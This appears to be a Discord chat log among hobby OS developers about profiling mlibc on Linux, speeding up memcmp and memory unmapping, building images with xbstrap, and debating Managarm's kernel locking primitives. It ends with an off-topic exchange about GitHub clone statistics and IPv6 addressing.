Astral

[sharp carbon]

yeah it seems to be on the high end of that

2.8-3.2x

[prime juniper]

Noted

[gritty shore]

id actually try and optimize mlibc if it were simple to profile

[marsh sparrow]

well, compiling perf as pitust did seems viable, doesn't it?

[gritty shore]

mhm yeah im gonna try it later, I'm not on a linux machine rn

[sharp carbon]

I tried compiling gcc, linux, and mlibc as comparisons but they all either failed or weren't comparable:

• GCC (and I suspect all other autotools based packages): failed during configure due to mlibc's renameat2 doing ensure(TODO)
• linux: needs m4 during build but the m4 xbstrap recipe failed during regeneration
• mlibc: has so much extra console output during build on mlibc that it has a significant effect on total build time

[marsh sparrow]

yes, we should disable mlibc logs to stderr for linux by default

what if you comment out the libc log sysdep for mlibc compilation?

[grand shadow]

Weird, on astral configure works fine

Maybe its my old mlibc

[marsh sparrow]

yeah it's probably unimplemented functionality in the linux port

[grand shadow]

Ah

[sharp carbon]

it hits this assert https://github.com/managarm/mlibc/blob/b44e75e18e744a270580d9cd6f8f6d75c1c5ceca/options/posix/generic/posix_stdio.cpp#L236

[grand shadow]

Yeah thats just straight up not implemented

Rip

[sharp carbon]

my guess is whatever uses renameat2 has the callsite behind a #ifdef __linux__ or something like that

[marsh sparrow]

sounds plausible

[grand shadow]

True

[marsh sparrow]

$ ./target/x86_64-unknown-linux-musl/release/vibeperf analyze
 samples     pct  function                                                     dso
      46  88.46%  [unknown]                                                    [unknown]
       1   1.92%  [unknown]                                                    glxgears.x86_64-linux-gnu
       1   1.92%  __getpid                                                     libc.so.6
       1   1.92%  __tunable_get_val                                            ld-linux-x86-64.so.2
       1   1.92%  _dl_fatal_printf                                             ld-linux-x86-64.so.2
       1   1.92%  _dl_rtld_di_serinfo                                          ld-linux-x86-64.so.2
       1   1.92%  f32subf64x                                                   libm.so.6
      52 100.00%  (total)                                                      

vibeperf is almost usable but it doesn't refresh /proc/<pid>/maps yet and i'm out of claude usage to implement that

[sharp carbon]

mlibc: real 0m19.546s user 1m17.997s sys 0m12.051s
arch: real 0m17.188s user 1m9.978s sys 0m4.806s

[marsh sparrow]

ah interesting, so we're much better at compilation than we are at glxgears

[sharp carbon]

the dramatic increase in kernel cpu time is baffling to me

[neon crane]

I know there is one thing that's slower than glibc and it's qsort

I don't know if mesa uses this though

[sharp carbon]

yeah, though it's a shame i don't really have any larger codebases to test with

[marsh sparrow]

i wonder if we're bad at glxgears because the math library is slower

[analog berry]

cant u clone like llvm?

[gritty shore]

arent you using the same math library as everyone

[marsh sparrow]

glibc has its own one

[gritty shore]

kinda funny the libm code was written once by a bunch of people and now everything depends on it

[gritty shore]

ah

[marsh sparrow]

we're using the same one as musl / netbsd

[gritty shore]

I dont think musl wrote them

I think it dates from earlier

oh yeah it comes from fdlibm

from the sun guys

wtf 😭

[wraith surge]

who had the idea to use the name bool???

[sharp carbon]

this happens when you use GCC 15

because it defaults to c23

[mild sentinel]

Doom had a pretty nasty issue with this and the patch was not as trivial due to some random strangeness with how they used bools

[opal lotus]

😭

[gritty shore]

Yeah I figured it was something like that

[marsh sparrow]

Just use cbuildrt with auto_pull

go to the Managarm handbook and follow managarm build instructions except that you s/bootstrap-managarm/linux-mlibc/

that'll use binary packages instead of building all pkgs from source

[gritty shore]

and I use the same rootfs?

[marsh sparrow]

yes

[gritty shore]

oh nice that works great, will it also pull binary mlibc or from source?

because i might wanna edit mlibc

[marsh sparrow]

if you xbstrap install --rebu mlibc, it'll build it

[gritty shore]

how the heck do I make an image 😭
I ran initialize-empty-image, then sudo ... make-image and I get

rsync: [generator] readdir("/home/lg/linux-mlibc/build/mountpoint/root/."): Input/output error (5)
rsync error: some files/attrs were not transferred (see previous errors) (code 23) at main.c(1338) [sender=3.4.1]

and I cant not run it as a root because then I get permission denied

[marsh sparrow]

are you using libguestfs or loopback?

[gritty shore]

uh well it made me install libguestfs so I am using that i guess

[marsh sparrow]

try loopback, libguestfs is unfortunately not very stable

[gritty shore]

how do I make it use it

sorry I literally do not know anything about xbstrap

[marsh sparrow]

it's in the handbook :^)

define_options:
  mount-using: 'loopback' 

in bootstrap-site.yml

[gritty shore]

ah thanks

great it works now I think

also you should make make-image depend on initialzie-empty-image or something

[marsh sparrow]

i think it has an order only dependency on that so you can do xbstrap run initialize-empty-image make-image

[gritty shore]

what the heck is the password it's not root root

[marsh sparrow]

@prime juniper

or @robust geyser ?

[gritty shore]

inb4 the password is beer

do you know the password?

[sharp carbon]

toor

[gritty shore]

omg 😭

[sharp carbon]

same as managarm proper

[prime juniper]

Yep

Root == toor

Managarm == managarm (if building Managarm)

[marsh sparrow]

which pkgs do i have to install to get weston btw?

[gritty shore]

I just did xbstrap install meson and it seems to be downloading stuff

sorry

weston*

[marsh sparrow]

glxgears seems to be bottlenecked on memcmp

at least during startup

ah wait, this is still with the debug mlibc build because it didn't change that locally

memcmp is still at 8% even with debugoptimized mlibc

[grand shadow]

maybe vibing it to generate a flamegraph would be better than just guessing from the specific function

[marsh sparrow]

that's way harder though, atp it's better to get perf working

[gritty shore]

i finally managed to profile it on my end

using samply

but I dont have symbols

[marsh sparrow]

because you'd need to backtrace

[errant zephyr]

surely you can make a statically linked perf

i already told you how to do that 🙃

[marsh sparrow]

yeah ik

[errant zephyr]

also you can install nix into the vm

and then get nixpkgs perf

which is isolated from the main system

[grand shadow]

I mean u could also just download a satically linked perf online

[errant zephyr]

those exist?

idk

[grand shadow]

probably some dude has one in the depths of their ftp server

[errant zephyr]

lol

if you want an arm one i sent it above

but idk about x86

[marsh sparrow]

ig you could build it on alpine with static linking

[gritty shore]

I have a static samply build if you wanna try it

[errant zephyr]

i literally sent you a list of steps that give you a statically linked perf

[gritty shore]

just copy it into the system root

[errant zephyr]

or yeah use samply

[gritty shore]

I got this but like

this isnt really useful

and idk how to make it use symbols

[errant zephyr]

theres something you can do to make it more useful

SAMPLY_USE_DEBUGINFOD=1

[gritty shore]

how

ah

but that is on the host or guest

[marsh sparrow]

then you need debuginfod though which is not in linux-mlibc afaict

[gritty shore]

mhm

[errant zephyr]

well for that you should build with inline debuginfo

and then its also gonna work even without the setting

[marsh sparrow]

it is build as debugoptimized with inline debug info

[gritty shore]

--symbol-dir ah perhaps

[marsh sparrow]

addr2line does manage to resolve the symbols

[errant zephyr]

then it should just work with samply

i dont get why you are doing the vibeperf thing its like not a good way to do it

[gritty shore]

NICE

it works

with symbol-dir

kinda

[errant zephyr]

unfortunately samply on my mac doesnt really work

arm moment ig

[gritty shore]

flamegraph

[marsh sparrow]

i'm not doing it as a serious alternative, just as a quick sanity check. and also, i overestimated how complicated it is to get statically linked perf

[errant zephyr]

i mean if you dont care about time its just nix-shell -p pkgsMusl.perf most likely

[gritty shore]

yeah i have managed to reproduce the memcmp thing

[grand shadow]

is that like just glxgears init or is it also runtime

[gritty shore]

running it for like 8 seconds

[marsh sparrow]

we could use the same impl strategy that we use for memcpy in Managarm: https://github.com/managarm/managarm/blob/master/kernel/common/libc.cpp#L42

[gritty shore]

ill run it for more and with debugoptimized

[marsh sparrow]

or at least a similar one

[gritty shore]

unless it's already debugoptimized

[errant zephyr]

is it just a trivial scalar loop rn?

[marsh sparrow]

yes

[errant zephyr]

ohno

[marsh sparrow]

a simple improvement would be loading 64 bit at a time and checking for != first

[errant zephyr]

yes

[marsh sparrow]

or whatever guaranteed simd size we have

[errant zephyr]

just do an ifunc

[marsh sparrow]

although there's no easy and portable way to write the correct type for that (?)

[errant zephyr]

ngl im not sure you should be doing this in c++ anyways

i tried benchmarking various memcpys recently and clang did some wild shit

[marsh sparrow]

it's probably worth to make a good generic baseline impl before using ifunc

such that all archs benefit from it

[errant zephyr]

#[inline(always)]
pub unsafe fn compare_bytes(a: *const u8, b: *const u8, n: usize) -> i32 {
    #[inline(always)]
    unsafe fn cmp<T, U, F>(mut a: *const T, mut b: *const T, n: usize, f: F) -> i32
    where
        T: Clone + Copy + Eq,
        U: Clone + Copy + Eq,
        F: FnOnce(*const U, *const U, usize) -> i32,
    {
        // Ensure T is not a ZST.
        const { assert!(mem::size_of::<T>() != 0) };

        let end = a.add(intrinsics::unchecked_div(n, mem::size_of::<T>()));
        while a != end {
            if a.read_unaligned() != b.read_unaligned() {
                return f(a.cast(), b.cast(), mem::size_of::<T>());
            }
            a = a.add(1);
            b = b.add(1);
        }
        f(
            a.cast(),
            b.cast(),
            intrinsics::unchecked_rem(n, mem::size_of::<T>()),
        )
    }
    let c1 = |mut a: *const u8, mut b: *const u8, n| {
        for _ in 0..n {
            if a.read() != b.read() {
                return i32::from(a.read()) - i32::from(b.read());
            }
            a = a.add(1);
            b = b.add(1);
        }
        0
    };
    let c2 = |a: *const u16, b, n| cmp(a, b, n, c1);
    let c4 = |a: *const u32, b, n| cmp(a, b, n, c2);
    let c8 = |a: *const u64, b, n| cmp(a, b, n, c4);
    let c16 = |a: *const u128, b, n| cmp(a, b, n, c8);
    c16(a.cast(), b.cast(), n)
}

im gonna suggest this impl from rust

[marsh sparrow]

that's a complicated way to write this

but yeah it looks reasonable

[errant zephyr]

yeah its kinda jank tbf

[gritty shore]

how do you clean build something in xbstrap

[marsh sparrow]

^ it's basically this and then halving the size of the test until you arrive at 1

[errant zephyr]

im also not sure if this even makes sense fwiw

[marsh sparrow]

xbstrap install --recon <package>

[gritty shore]

ugh how do you make the VM have the files be saved on the image

it worked before now it doesnt idk why

using a faster memcmp does seem to increase fps

[errant zephyr]

insane

whats the profile?

[gritty shore]

debugoptimized

[marsh sparrow]

they are always saved to the image (unless the vm crashes and doesn't sync() i guess)

but they are not copied back to the system-root dir

[gritty shore]

yeah ik so I use the update-image.py script and mount the image

[marsh sparrow]

yeah

[gritty shore]

I think its because I close the vm without syncing

[marsh sparrow]

that should work

just power off in qemu

that'll cause systemd shutdown which should sync

[gritty shore]

ahh

interesting

unmap is 14% of runtime

[errant zephyr]

lol

[gritty shore]

I dont think we can do much about that tho

[errant zephyr]

well you can

[errant zephyr]

obvious thing: LD_PRELOAD=/path/to/libmimalloc.so

uh

does preload like that work with mlibc

[gritty shore]

i feel like if I try doing that it will take me 3 hours to try and get it working

[marsh sparrow]

preload in general works, i'm not sure how well preloading mimalloc works (with mlibc)

[gritty shore]

qsort does seem to be called but its like 0.1% of runtime

[errant zephyr]

you could also make the allocator not unmap as much

[marsh sparrow]

hmm i wonder how big the regions are that it frees

[errant zephyr]

or switch to sharded_slab

you could also try MADV_FREE and leaking the vm space which might be cheaper

[gritty shore]

how hard is switching to sharded_slab korona

[marsh sparrow]

i have a patch to switch to sharded_slab locally. but sharded_slab has the same unmap behavior

[gritty shore]

can you send the patch?

[errant zephyr]

uh what

does the old mlibc allocator also never unmap memory

(in small object pools)

[marsh sparrow]

yeah

[errant zephyr]

ngl port collection seems to be inversely proportional to quality of code

[marsh sparrow]

:^)

[gritty shore]

managarm is pretty high quality no?

[errant zephyr]

which is what i say to myself to justify my 0 ports and no working userspace

[marsh sparrow]

that's not really true

[gritty shore]

🥺

if u have it

[errant zephyr]

managarm aka "yeah so you can dos the whole system by allocating 1/16th of the memory with kernel objects in funny patterns because allocator bad"

[marsh sparrow]

sharded_slab is one of the best allocators of all OSes on this server ;D

[errant zephyr]

thats true

[marsh sparrow]

you're just poking at one weakness

[errant zephyr]

yeah i get it

[gritty shore]

its probably top 1 in terms of speed

mine is probably top 2

[marsh sparrow]

ofc Managarm will also have a bunch of weaknesses, it simply has a lot more code than the average hobby OS

[errant zephyr]

thats very fair

but you have a lot of very big structural ones too

and a lot of corner cutting

[marsh sparrow]

re sharded_slab: i'll check if the patch applies to current master and send it

[gritty shore]

alright

thanks

cuz like apart from this idk most of the time isnt even in libc

[marsh sparrow]

we have a bit of corner cutting in the higher level parts of the system but not so much in the lower level stuff

[errant zephyr]

posix is singlethreaded

which is a massive corner cut

not dealing with deallocation to the kernel makes sharded_slab soooo much simpler

idk much about other parts yeah so maybe im just biased

[marsh sparrow]

that's not necessarily a huge problem

that's more an intentional design decision

[gritty shore]

Could I stub unmap for the meme

[errant zephyr]

well its a basically impossible retrofit i think

[gritty shore]

or madv_free

[errant zephyr]

madv_free isnt that bad yes

[marsh sparrow]

No, we'll fix this at some point

[errant zephyr]

its not like great but its acceptable

[marsh sparrow]

It'll be somewhat painful, I agree

[errant zephyr]

i mean i wish you luck lol

[marsh sparrow]

posix is not that big

[errant zephyr]

still

[marsh sparrow]

I think the strategy for this is moving stuff out of posix that doesn't have to be in it (most notably /dev and /sys)

then making the pseudo files multi-threaded while keeping the process management single threaded

then making the process management multi-threaded

[errant zephyr]

maybe

idk i think this is one of those things where the right answer is "make sure its multithreaded from the start"

[marsh sparrow]

It's mostly adding async::mutexes everywhere (except in a few cases where code needs to be rewritten since public accessors to mutable data exist)

[errant zephyr]

and making sure you take them

and making sure that you dont have cycles when taking them

also async mutexes are kinda dubious

unless you need the async part, anyway

[gritty shore]

huh it invalid opcodes for some reason now

int Sysdeps<VmUnmap>::operator()(void *pointer, size_t size) {
    auto ret = do_syscall(SYS_madvise, pointer, size, MADV_FREE);
    if(int e = sc_error(ret); e)
        return e;
    return 0;
}

this is fine right

[errant zephyr]

uhh probably

[marsh sparrow]

posix is fully async, so yes

it is single threaded but async

[errant zephyr]

well no thats not the right answer

you need an async mutex iff you are performing an async operation inside of it

but not if its just protecting data

[marsh sparrow]

yes ofc

but that happens all over the place

[errant zephyr]

that shouldnt be most things

[gritty shore]

yeah idk why systemd doesnt like when I use madvise

[errant zephyr]

lol

just comment out the unmap

comment it out in the malloc code tho

[gritty shore]

well what I did was use madvise in anonfree

instead

[errant zephyr]

oh lol

[gritty shore]

and it works

but doesnt seem to change much

in fact, it seems to make it slower

[errant zephyr]

example of a dumb usage of of an async mutex: KernelFiber::asyncBlockCurrent(some_async_mutex_thats_only_ever_used_with_pretty_much_blocking_lock_operations->async_lock());

(this example is from uacpi_kernel_acquire_mutex)

    uacpi_u16 sleepTime;
    do {
        if (mutex->try_lock())
            return UACPI_STATUS_OK;

        sleepTime = frg::min<uacpi_u16>(timeout, 10);
        timeout -= sleepTime;

        if (sleepTime)
            uacpi_kernel_sleep(sleepTime);
    } while (timeout);

``` idk if i have to explain why this loop right after is somehow even worse

[gritty shore]

pitust is a professional hater

[marsh sparrow]

this actually makes sense

that's just your average sleeping lock expressed in Managarm terms

[errant zephyr]

mhm

thats like uh

well its certainly one way to implement a sleeping lock

[marsh sparrow]

wdym

it's a good way

It compiles to reasonable code

[errant zephyr]

wait it does?

[marsh sparrow]

with no overhead over other sleeping locks impls

yes

[errant zephyr]

i thought coroutines always allocate

unless you are in extremely special code

[marsh sparrow]

async_mutex.lock() does not return a coroutine

;D

[errant zephyr]

oh

insane

[marsh sparrow]

this code doesn't allocate

[errant zephyr]

okay then its less awful

i can still make fun of you for making your locks somewhere between 32 and 48 times larger than my sleeping locks

but yeah i guess its not totally awful

although that implementation is like

well its certainly confusing lol

[marsh sparrow]

asyncBlockCurrent() is the only blocking primitive

[errant zephyr]

i see i see

i mean i guess it makes sense if you are going for all async

[gritty shore]

yeah idk how to optimize it more

it seems the madvise does make it slower tho

[errant zephyr]

what about doing nothing

[gritty shore]

I did implement a memcpy using rep movsb and that did seem to improve it

[marsh sparrow]

you could add that using ifunc

[gritty shore]

stubbing out free makes it much slower, probably because of memory pressure?

imma try increasing memory size

[errant zephyr]

hm

[errant zephyr]

uhh so the code looks not very reasonable in a decompiler

[marsh sparrow]

what part in particular?

[gritty shore]

but like apart from that most of the runtime is not even in libc

so I have no clue

could mesa or libgallium be compiled without optimizations or something?

[marsh sparrow]

maybe it is taking a different code path in mesa or llvm after all

[gritty shore]

anyway korona I can send my samply executable if you wanna have a go at it

[errant zephyr]

its a huge amount of code

[marsh sparrow]

if all i need to do is compile it with a musl target, i can also do that myself

[errant zephyr]

and it doesnt seem to try to spin first, unless i missed something

[gritty shore]

yeah but you need a musl gcc installed and stuff too

🤷‍♂️

[errant zephyr]

which is very possible

ok it does try acquiring once first

and if it succeeds it will do a thor::KernelFiber::unblockOther because why not ig

[marsh sparrow]

why do i need a musl gcc if it's written in rust?

[errant zephyr]

you need system libraries for it

[marsh sparrow]

vibeperf doesn't

[errant zephyr]

you can also use my janky "linker" that makes cargo do it properly

[errant zephyr]

uh it needs libc tho right

[marsh sparrow]

well it links against static musl

[errant zephyr]

#!/bin/sh

for arg in "$@"; do
    shift
    case "$arg" in
        "--target="*)
            continue
        ;;
        *"/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/"*)
            continue
        ;;
        *"/lib/rustlib/aarch64-unknown-linux-musl/lib/self-contained/"*)
            continue
        ;;
        crt*.o)
            continue
        ;;
        rcrt*.o)
            continue
        ;;
    esac
    set -- "$@" "$arg"
done

zig cc -target "$ZIGCC_TARGET" -ggdb "$@"

[errant zephyr]

thats how i do linking against musl lol

[errant zephyr]

not inlined, because you obviously only inline the slow path, not the fast path

[marsh sparrow]

linking against just libc works fine with cargo build --target=x86_64-unknown-linux-musl, doesn't it?

[errant zephyr]

does it

[marsh sparrow]

without any gcc (or is the gcc installed by rustup?)

[errant zephyr]

idk i never got it to work magically like that

[errant zephyr]

its more likely you have it installed systemwide ngl

[marsh sparrow]

i don't have a musl gcc installed afaict

[gritty shore]

no idk I needed to download a musl gcc toolchain and add it to my path

its because it depends on cc-rs, so it must compile some C code

[marsh sparrow]

ah that sounds annoying

yeah maybe sending the binary is easiest :^)

[gritty shore]

dynamic linking is cool but statically linked binaries are so much more convenient for that kinda stuff

[marsh sparrow]

yeah one weakness of naively calling asyncBlockCurrent() is that it doesn't do an optimistic check before blocking. hot code paths do a tryLock before calling into asyncBlockCurrent (that's mostly just in helDispatchQueue())

[errant zephyr]

meanwhile my implementation at least has an inlined fast path

[marsh sparrow]

ig we could add a helper to do that but otoh there are not a lot of sleeping locks in Managarm's kernel anyway

[errant zephyr]

do you just use spinlocks?

honestly the lock with timeout path is so much worse anyway

[marsh sparrow]

well, spinlocks / async locks / other sync data structures

[errant zephyr]

ok sure

[marsh sparrow]

we need way fewer sleeping locks than synchronous kernels

because we never need to hold non-async locks across I/O etc

[marsh sparrow]

where is your impl? :^)

[analog berry]

abandon your kernel and put all the effort in fixing managarm

[errant zephyr]

on my laptop

[marsh sparrow]

fwiw the lock with timeout code path is only taken from acpi code

[errant zephyr]

thats why its so good

noone can criticise it

[marsh sparrow]

:^)

[errant zephyr]

yeah its a uacpi function

its still so bad lol

[errant zephyr]

this is very reasonable

i can still make fun of your impl being awful

while ignoring the fact that my impl is even more awful in some ways

[analog berry]

also its super rare to have mutex acquires with a timeout in aml

most are 0xFFFF

so it doesnt matter

[errant zephyr]

kinda?

i could imagine it being very important for some aml that acquiring a mutex with a timeout, uh, works properly

[analog berry]

how would u fix it btw

[errant zephyr]

use a real sleeping lock primitive

[analog berry]

well there isnt one in managarm that accepts a timeout

[errant zephyr]

like in general trying to acquire a lock in a loop with a sleep in the middle is awful

[errant zephyr]

i know

the solution isnt to trylock in a loop with a sleep in the middle, its to implement the missing API

[analog berry]

not worth the effort for basically unused code

[errant zephyr]

especially if you have a short timeout and a somewhat contended lock this could break really badly

[analog berry]

but yes

[errant zephyr]

because youll only try twice

[analog berry]

yeah

you're overestimating firmware tho

[errant zephyr]

i mean if a firmware dev went to the trouble of using a lock

[analog berry]

lol

[errant zephyr]

i would be expecting more of the gamedev "race conditions are fine, we can ship code with race conditions that show up on vvl to all unity users without testing on radv" vibe

yk

[analog berry]

I was gonna check how linux does that but it just uses down_timeout(sem, jiffies)

[errant zephyr]

so basically they do a sleeping lock acquire

[analog berry]

yeah

[errant zephyr]

if you have it its 100% the way to go

[analog berry]

https://elixir.bootlin.com/linux/v7.0.1/source/kernel/locking/semaphore.c#L252

this is the core spinner

[errant zephyr]

and its not that much harder to implemnt

[analog berry]

u basically need a schedule_timeout() like helper

[errant zephyr]

yes

[analog berry]

aka sleep until timeout or until someone interrupts me

which managarm doesnt have i think(?)

[errant zephyr]

its equivalent to sleep until wakeup + a timer heap registration

i hope they do have that for futexes lol

[analog berry]

We'd have to ask korona

[marsh sparrow]

yes we do

but async::mutex does not support interrupting the lock()

we could add that

[errant zephyr]

that is also kinda extremely problematic if you use it as an async lock lol

[marsh sparrow]

it is problematic in some situations, yes

[errant zephyr]

and yeah its fine in some others

[marsh sparrow]

we also need to do it for other things other than the uacpi function

[errant zephyr]

but i think in practice the set of situations where its not problematic is exactly the set of situations where using an async lock in general is problematic

[marsh sparrow]

for example, rn threads cannot be killed while handling page faults

[errant zephyr]

right

[marsh sparrow]

which means that faulty pagers can make processes unkillable

which is an issue, obviously

[errant zephyr]

for my kernel im trying to have a policy of "no io when you are holding a non-sleeping lock"

(enforced in debug builds through runtime checks)

[marsh sparrow]

async::mutex is essentially a sleeping lock though

and Managarm does enforce that you cannot hold spinlocks while blocking or while co_awaiting

[errant zephyr]

neat

[errant zephyr]

ok well technically the thing i [want to] enforce is a stronger property

that you cannot perform io when holding a non-io-eligible lock

[analog berry]

thats a big issue in serenity lol

or just grabbing sleeping locks under non sleeping locks

[errant zephyr]

and you cannot perform a non-alertable lock acquire on an io-eligible lock

enforced through more checks

[errant zephyr]

if only we had some way of checking those kinds of issues cannot are not occuring

(this is exactly what go lockrank does statically afaik, and my meme does dynamically)

[analog berry]

they did try adding lock ranks

but iirc it didnt really go anywhere

[errant zephyr]

lol

but yea i have lock ranks

well i have a more complicated lock id graph system which can enforce a partial order and not just a total order

[errant zephyr]

uh so back to my thesis that port collection and corner cutting is inversely proportional

uh, lol

like in general not having alertable locks is kinda a huge issue

[marsh sparrow]

I reject the claim that Managarm's kernel is cutting corners

[errant zephyr]

do you have a sleeping mutex which is alertable?

[marsh sparrow]

if you can find weaknesses in it, it's because it has way more stuff than other kernels

[errant zephyr]

that is very fair

but i think most hobby kernels are cutting corners

[marsh sparrow]

no but that's because other than on the pf code path, we do not need it

[errant zephyr]

ahhh okay

thats more reasonable

[marsh sparrow]

that's the only non-interruptible code path in the kernel rn

[errant zephyr]

although posix also needs that

[marsh sparrow]

futexes, ipc dispatch etc is interruptible

but not implemented on top of mutexes

[errant zephyr]

so you dont do any io when holding a lock except for this one pf case?

[errant zephyr]

and also in IpcQueue::submit

you acquire _cqMutex, then perform a non-alertable wait on _cqEvent in some code paths

[marsh sparrow]

but _cqMutex is only ever taken from kernel code paths and only for bounded time

[errant zephyr]

how is it bounded

you do an event wait

and that event is not [necessarily] guaranteed to be raised

also

[marsh sparrow]

ah nvm, i was thinking of sqMutex

[errant zephyr]

i love using an event as a bad condvar

nvm its not a condvar

me dumb

[marsh sparrow]

a condvar is just an event + a mutex

[errant zephyr]

so to sum it up you use async::mutex in three places in thor

[marsh sparrow]

;D

[errant zephyr]

and two of them are bad uses

[errant zephyr]

• special magic to make it work properly

[marsh sparrow]

no the uninterruptible acquire of cqMutex is fine

[errant zephyr]

the event wait is a problem, i think

    if (!_sqMutex.try_lock())
        Thread::asyncBlockCurrent(_sqMutex.async_lock(), getCurrentThread()->mainWorkQueue().get());

also wtf is this code lmao

[marsh sparrow]

yeah

[errant zephyr]

and _sqMutex probably shouldnt be a sleeping mutex in the first place

[errant zephyr]

but those are more or less connected

[marsh sparrow]

what should happen is that if IpcQueue goes out of scope in userspace, the event should be raised to wake up the holder of cqMutex

[errant zephyr]

yeah ofc

[marsh sparrow]

then the lock itself is fine

[errant zephyr]

and a pager should always reply in a timely manner

and then the pagefault code is also fine

[marsh sparrow]

this is different from the pager case

[errant zephyr]

true

but its not that different

userspace bugs can lead to a deadlock

[marsh sparrow]

no

in the cqMutex there is no possibility of deadlock

[errant zephyr]

uhh

why?

oh wait yeah im dumb

its not killable because of the event wait

[marsh sparrow]

well, userspace can use the queue in such a way that no progress is made

but that's just userspace inflicting pain onto itself

and not onto the kernel

[errant zephyr]

anyway you have three uses of async::mutex, two which should not be async::mutex

[marsh sparrow]

no, all of them should be async::mutex 😅

[errant zephyr]

sqmutex shouldnt be sleeping, you dont do anything sleeping when holding it

[errant zephyr]

sqmutex only protects some memcpys

and some atomics

[marsh sparrow]

sqMutex protects copy from user

[errant zephyr]

oh wait where

am i just blind

oh wait is that submitFromSq

[marsh sparrow]

ah wait

maybe it doesn't directly protect copy from user

[errant zephyr]

yes

yeah but with e.g. kHelSubmitWriteMemory and doSubmitWriteMemory you do a copyin

[marsh sparrow]

yeah

[errant zephyr]

and like async stuff in general

so sure nvm me dumb

[marsh sparrow]

:^)

[errant zephyr]

although

that should not be async::mutex then

since you want that to be an interruptible wait

[marsh sparrow]

true

or rather, we should make async::mutex interruptible ;D

[errant zephyr]

yes this

a sleeping mutex which is not interruptible is kinda crap

my opinion is that the combination of {not interruptible, sleeping} is not terribly useful in practice

[marsh sparrow]

it is fine as long as the mutex protected region is bounded

[errant zephyr]

no

if its bounded you shouldnt be using a sleeping lock

[marsh sparrow]

it can be bounded but not fast

[errant zephyr]

oh hmm

thats true

i didnt consider that but yeah i guess that makes sense

but in this case thats not really the case so

and imo thats not really a common case

[marsh sparrow]

but yeah it's not that this code is cutting corners or using random primitives, there's a reason for every synchronization data structure that we pick

[errant zephyr]

i think in those cases its usually better to have it be alertable though

unless you really cant

which i think is rare in practice

[marsh sparrow]

if you want to make fun of Managarm data structures, find a case where the address-space.cpp VMM code misbehaves ;D (there should be no such case but at least that's better use of time :^)

[errant zephyr]

fair enough

[errant zephyr]

it cant be as bad as astral had where you used to be able to hit vmm bugs by accident

like iirc i hit some by just calling mmap with MAP_FIXED with an address higher than the binary base

[errant zephyr]

wtf is this code lol

[grand shadow]

you probably still can, I haven't gotten around to fixing the vmm stuff yet

thats after the elf code which is what I last stopped at

I wonder why there was a big spike in cloners the past week

[mild sentinel]

It’s the governments reviewing it to see if it complies with age verification laws

[proper meteor]

This graph is kinda fucked up

Don't trust it

[opal lotus]

the pwn thing?

[prime mulch]

me too and nobody cares about mine so it must be something systematic

maybe a scraper?

or 88 scrapers

idk

[neon crane]

same happened to me but for only one day

unique cloners: 25

none for my old os but sharp spike in viewers still

[hearty fulcrum]

bots

I got thousands

[wraith surge]

how do you see it

[hearty fulcrum]

use what

[wraith surge]

no, see the git clone stats

[hearty fulcrum]

go to your repo

and see the traffic

[wraith surge]

ah, never seen that tab, lol

yeah a few spikes too

lol, gl training AI on my code

[mild sentinel]

That also could have been me when trying to build because I had to keep nuking the folder 💀

Depending on that day that is

[wraith surge]

it's unique cloners too

so multiple tries from you would have been counted as 1

[mild sentinel]

I may have used several machines trying to do it

And they have IPv6

💀

[wraith surge]

XD

ipv6 gets routed via ipv4 tho

[mild sentinel]

??????

[wraith surge]

it does

[mild sentinel]

No?

[wraith surge]

bc ISPs do not support ipv6 between them afaik

so IPv6 gets tunneled via ipv4

[mild sentinel]

I can very well have an IPv6 only connection

On my ISPs

[wraith surge]

but between them?

[mild sentinel]

And talk to severs via pure IPv6

Yes

I can ping google IPV6 test addresses

From my home

[wraith surge]

afaik between isps is still ipv4

[mild sentinel]

With no IPv4 enabled

[wraith surge]

and ofc you can ping via ipv6

that's how it works

[mild sentinel]

Some IPv6 carries IPv4

[wraith surge]

you can use an ipv6 addr even if you just have an ipv4 btw

it's a setting in your router

and i think that's what many ISPs still use

[fierce forge]

No, not at all

It's like 2 separate routing systems

[mild sentinel]

all ipv6 here

[wraith surge]

ig ISPs are starting to move then?

WHY did they not give me an ipv6 then, bruh

[fierce forge]

You might get IPv6 through IPv4 inside of your ISP if it's using a transition protocol, or vice versa

[mild sentinel]

because your ISP is dookie

[fierce forge]

(some newer ISPs only give you IPv6 and tunnel IPv4 through that)

[wraith surge]

nah, here in italy most if not all are still ipv4

[fierce forge]

But the routing between ISPs is with IPv6 for IPv4 traffic

[wraith surge]

my router has a setting to route IPv6 addresses via IPv4 tho

using tunneling

[fierce forge]

Like IPv6 has many more addresses, how are you expecting it to work?

[fierce forge]

6to4?

[wraith surge]

ye

[fierce forge]

It's like an old deprecated protocol

And not really tunneling

[wraith surge]

oh

[fierce forge]

And it works if your ISP doesn't give you IPv6, and basically using some public gateways

(which don't work anymore the last time I checked)

[wraith surge]

well, i hope my isp changes to ipv6 then

i would like a static public address

[fierce forge]

Through an anycast address

[fierce forge]

One has nothing to do with the other

[wraith surge]

well, dynamic public IPs won't be needed anymore

[fierce forge]

My ISP only gives me IPv4, but I get a public address which hasn't changed in years

[fierce forge]

Wdym

They are still needed

[wraith surge]

when using IPv6

[fierce forge]

No

[mild sentinel]

i get both a satic IPv4 and ipv6

[fierce forge]

You can get dynamic IPv6

[wraith surge]

lucky

yeah ik

but you have a lot of addresses anyway

[bright knoll]

my router is bisexual and some times just uses ipv4

most of the time it's ipv6

[wraith surge]

so why even bother with dynamic

[fierce forge]

You don't?

[wraith surge]

with ipv6?

[fierce forge]

Also, if you're using static, you've got to remember somehow which address is assigned to each client

And adding static routes for each client is painful and bad and error prone

[fierce forge]

Yes

[wraith surge]

you don't need to manually add them afaik

[fierce forge]

Of course no

But making them static is extra work

[fierce forge]

Your router gets /48 - /64

So like your ISP is left with 2^16 addresses or whatever

Idk how much you get from RIRs, I'm not an ISP

[wraith surge]

a router can just get /64 like it is now, no?

and just use NAT

[fierce forge]

What

[wraith surge]

with ipv4, you get 1 address

and that's your public address

[opal lotus]

in theory

[fierce forge]

The whole point of IPv6 is that you don't want to use nat

[wraith surge]

oh

well, in that case yeah

it's way worse

[fierce forge]

But like if you only get /64, then you can only assign it to one LAN

So the standard practice is getting /48 or /56 I think

If you get less than /64, you have to assign it with DHCP, which is not supported by all of the devices, and is a mess

So, IPv6 is 128 bits

Of that, only 200::/8 prefix is routable

[opal lotus]

i get 56 here

• with delegation i have a /57 net

[fierce forge]

Your router gets 64 - 80 bits

Like you can't just hand out huge numbers of IP addresses to all of the ISPs

Like I guess you kinda get the same amount of addresses as with IPv4 or a bit more

Pre-exhaustion

But like they're not exhausted

